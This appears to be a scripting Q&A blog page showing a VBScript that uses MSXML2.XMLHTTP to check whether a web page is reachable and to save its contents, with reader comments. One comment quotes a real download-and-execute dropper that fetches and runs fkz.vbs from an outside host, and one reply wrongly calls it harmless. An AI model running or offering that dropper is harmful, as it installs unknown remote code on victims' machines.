How Can I Tell Whether a Web Page is Accessible?

How Can I Tell Whether a Web Page is Accessible?

  • Comments 7
  • Likes
Hey, Scripting Guy! Question

Hey, Scripting Guy! How can I tell whether or not a Web page is accessible?

-- JW

SpacerHey, Scripting Guy! AnswerScript Center

Hey, JW. To tell you the truth, these are the kinds of questions we hate, questions where we don’t know the answer off the top of our heads but where it seems like there ought to be a way to do this. Sometimes in the world of scripting the hard things turn out to be easy but, conversely, the easy things sometimes turn out to be hard.

Fortunately, this one turned out to be easy. We knew there was a way to retrieve the contents of a Web page; what we didn’t know was whether there was a straightforward way to determine whether those contents were retrievable (that is, whether the Web page was accessible). But here you go. This script will tell you whether the home page for the Script Center is up and running:

On Error Resume Next

strURL = "http://www.microsoft.com/technet/scriptcenter/default.mspx"

Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
objHTTP.Open "GET", strURL, FALSE
objHTTP.Send

Wscript.Echo(objHTTP.statusText)

We begin by assigning the URL for the Script Center to a variable named strURL. Next we create an instance of MSXML2.XMLHTTP, a COM object that provides a way for client computers to interact with HTTP servers. We then call the Open method, passing three parameters: “GET” (which means to retrieve information from the server); strURL, the variable holding the URL to the Script Center home page; and FALSE, to make the call synchronous. After that we use the Send method to send our request to the HTTP server.

So how do we know if http://www.microsoft.com/technet/scriptcenter/default.mspx is accessible or not? Well, we simply check the value of the statusText property. If statusText is OK then the page was accessible; if it’s anything other than OK, then something went wrong and we couldn’t reach the specified URL.

Incidentally, the contents of the Web page are returned as the ResponseText property of the MSXML2.XMLHTTP object. That means you can use the FileSystem object to save the contents of the page to a file. For example:

On Error Resume Next

Const ForWriting = 2

strURL="http://www.microsoft.com/technet/scriptcenter/default.mspx"

Set objHTTP = CreateObject("MSXML2.XMLHTTP") 
objHTTP.Open "GET", strURL, FALSE
objHTTP.Send

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile("script_center.htm", ForWriting)
objFile.Write objHTTP.ResponseText
objFile.Close

Bear in mind that the formatting of the saved document might not be identical to the formatting of the Web page; that depends on such things as the style sheets used by the Web page; whether the page uses relative or absolute links to graphics, etc. In most cases, however, the page will be readable, even if the formatting might be a bit off.

Your comment has been posted.   Close
Thank you, your comment requires moderation so it may take a while to appear.   Close
Leave a Comment
  • Can you please tell  me in plain language what this is doing. More specifically is it a Keylogger? You can e-mail me if you wouldn't mind at tpaulgallagher at yahoo.com. I am going through a legal situation with a company. I am concerend about their inveolvement as this may be a keylogger script and the domain was only registered on 6/27. Thank you for your help. Paul

    cmd /c echo B="fkz.vbs":With CreateObject("MSXML2.XMLHTTP"):.open "GET","uytim.com/.../fkz.vbs",false:.send():Set A = CreateObject("Scripting.FileSystemObject"):Set D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" + B):D.WriteLine .responseText:End With:D.Close:CreateObject("WScript.Shell").Run A.GetSpecialFolder(2) + "\" + B > %TEMP%\fkz.vbs && %TEMP%\fkz.vbs && taskkill /F /IM helpctr.exe

  • I would like to know how to use this script on an HTTPS website.  It always reports as down, eventhough it is up.

  • To the guy who asked if this was a keylogger ... you are an idiot ; Also makes me want to add:

    Do you remember when you were a kid, playing Nintendo and it wouldn't work?

    You take the cartridge out, blow in it and that would magically fix the

    problem. Every kid in America did that, but how did we all know how to fix

    the problem? There was no internet or message boards or FAQ's. We just

    figured it out. Today's kids are soft.

  • no this is not a malicious script, nor is it a keylogger. This script simply connects to a web site, it then saves the response from the page connection to a text file.

  • To the guy who asked if this was a keylogger, it IS definitely something suspicious: It's going to a website and bringing back a copy of "fkz.vbs" .. then saving it on the machine that ran the script .. then executing it. While I don't know (nor did look) at the contents of the VBS script being retrieved, this method is PRECISELY the vehicle many virus / spyware / malware execute. Be careful!

  • if you run this script many times to check serveral web sites, how do you close the IE processes that are launched? I understand that the FALSE statement makes IE not display on screen, but I now have 50 plus "iexplore.exe" processes running in Task Manager.

  • Hallo, i have tried this script in VB6 and have problem with ResponseText. I am not able to get all content of web page. The string Text contains only about 31000 firts characters.

    Where is the error?

    Private Sub Main()

    url = "technet.microsoft.com/.../default.aspx"

     Set objHTTP = CreateObject("MSXML2.XMLHTTP")

     Call objHTTP.Open("GET", url, False)

     objHTTP.Send

    Text = objHTTP.ResponseText

    End Sub